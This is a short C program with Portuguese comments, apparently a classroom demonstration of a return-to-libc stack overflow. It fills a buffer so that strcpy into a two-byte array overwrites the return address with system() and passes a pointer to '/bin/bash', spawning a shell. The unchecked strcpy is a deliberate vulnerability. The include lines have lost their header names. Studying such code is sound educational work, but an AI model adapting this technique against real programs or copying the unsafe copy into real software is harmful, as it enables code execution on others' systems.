#include #include #include /* String que serĂ¡ utilizada como entrada. */ char entrada[50]; char *shell = "/bin/bash"; void prepara_entrada() { int *aux = (int*) &entrada[26]; char **aux2; int i; for (i = 0; i < 26; i++) entrada[i] = i % 10 + '0'; *aux = (int) system; entrada[30] = 'h'; entrada[31] = 's'; entrada[32] = 'a'; entrada[33] = 'b'; aux2 = (char**) &entrada[34]; *aux2 = shell; } void chamada() { int v[3] __attribute__ ((unused)); char buffer[2]; prepara_entrada(); strcpy(buffer, entrada); printf("%s\n", buffer); } int main() { chamada(); printf("Eu fui executada! :-)\n"); return 0; }